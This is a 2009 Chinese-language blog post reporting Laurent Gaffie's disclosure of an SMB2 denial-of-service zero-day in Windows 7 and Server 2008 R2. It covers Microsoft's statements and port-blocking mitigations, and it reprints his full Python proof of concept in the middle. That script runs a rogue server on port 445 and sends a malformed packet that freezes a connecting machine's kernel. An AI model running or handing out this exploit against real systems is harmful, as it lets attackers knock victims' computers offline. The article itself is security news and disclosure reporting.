加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

微软证实第一个Win7的0day漏洞已经出现‎(附溢出程序)

(2009-11-21 20:46:41)
标签:

微软

win7

0day

安全漏洞

laurent

gaffie

it

分类: 信息安全
本月微软发布的安全更新中并没有涉及最新的windows7操作系统,但并不代表windows7就可以安然无恙了,11月11日国外安全研究人员称已经发现windows7操作系统的第一个零日安全漏洞。得知这一消息之后,目前微软已经在对该问题展开调查。

微软证实第一个Win7的0day漏洞已经出现‎(附溢出程序) 
    11月11日,微软的Patch Tuesday刚刚过去不到24小时,安全专家Laurent Gaffie就公布了一个来自Windows 7和Windows Server 2008 R2的0day bug。微软在周三表示,有报告指出Windows 7和Windows Server 2008 R2中存在一个漏洞,可被用来进行远程攻击系统,并导致系统内核崩溃,微软目前正在就此问题进行调查。微软官方发言人表示,此漏洞为Windows网络文件和打印共享协议Server Message Block(SMB)中存在的拒绝式服务漏洞,不过迄今为止微软还没有发现利用此漏洞实施攻击行为的案例。  

    Gaffie在其博客中曝光了这一漏洞,并将其定级为中高级别漏洞,Laurent Gaffie表示这个漏洞会导致SMB协议进入无限死循环,他还进行了完整代码演示。目前还没有任何修复该漏洞的补丁,Gaffie建议用户在微软发布相关补丁前关闭SMB功能和端口。Gaffie指出,无论你的防火墙是如何设置的,黑客都有可能在局域网内或是利用IE对你的系统进行攻击。Gaffie表示,该漏洞仅影响Windows 7和Windows Server 2008 R2,并不对其它系统造成影响。

附代码演示:

#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

#SDL FAILED
   安全人员指出了微软的安全开发生命周期(SDL)存在漏洞并发表了一个利用该安全漏洞代码的概念证明,利用此安全漏洞能够让windows7系统和Windows Server 2008 R2崩溃,用户只能重启计算机才能重新获得控制权。安全人员说,此安全漏洞证明了微软SDL的失败,它将引起SMB协议的无限循环并且可以通过IE浏览器远程引起这个故障。

    微软可信赖计算公共关系部门主管Dave Forstrom在声明中指出:“微软已经了解了这组公开发布的可导致系统停止服务或不稳定的漏洞检测代码。不过就算是被利用,这个拒绝式服务漏洞也不会导致攻击者控制用户的系统或是在系统上安装恶意软件,只是会引起受影响系统停止响应,这时用户需要手动重启系统。”

    Forstrom补充说:“需要强调的是,Windows 7的默认防火墙设置可以帮助用户在很大程度上免于此种攻击。”微软目前还没有发现有利用此漏洞发起攻击的行为。

    在知识库文章977544中微软批评了Laurent Gaffie了行为方式:“微软认为这种报告漏洞的方式是一种不负责任的方式,有可能让计算机用户处于风险之中,我们仍然鼓励有责任心地揭露系统中存在的问题。”("Microsoft is concerned that this new report of a vulnerability was not responsibly disclosed, potentially putting computer users at risk. We continue to encourage responsible disclosure of vulnerabilities. ")

  虽然微软过去确实出现过SMB协议的安全漏洞,但安全研究人员指出,使用默认的防火墙设置这种安全漏洞就很难被利用。但有一种绕过这个安全漏洞的方法是,封锁路由器或者防火墙上的135、139和445端口以阻止外部的SMB通讯进入系统。

  业界人士对研究人员指出windows7系统出现安全漏洞并不感意外,认为windows7的代码早在今年夏季就最终确定了,攻击者能够有充足的时间去寻找其中的漏洞。微软尚未确定何时发布修复补丁。直到现在,用户得到的建议只是封锁路由器或者防火墙上的135、139和445端口。不过此法帮助不大,因为这样的方法也将禁止浏览器、网络文件共享和一些几户每天计算机用户都要使用到的其他服务。

相关链接:

1、Laurent Gaffie博客:http://g-laurent.blogspot.com/

2、Windows 7 , Server 2008R2 Remote Kernel Crash laurent gaffie (Nov 11)http://seclists.org/fulldisclosure/2009/Nov/134

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有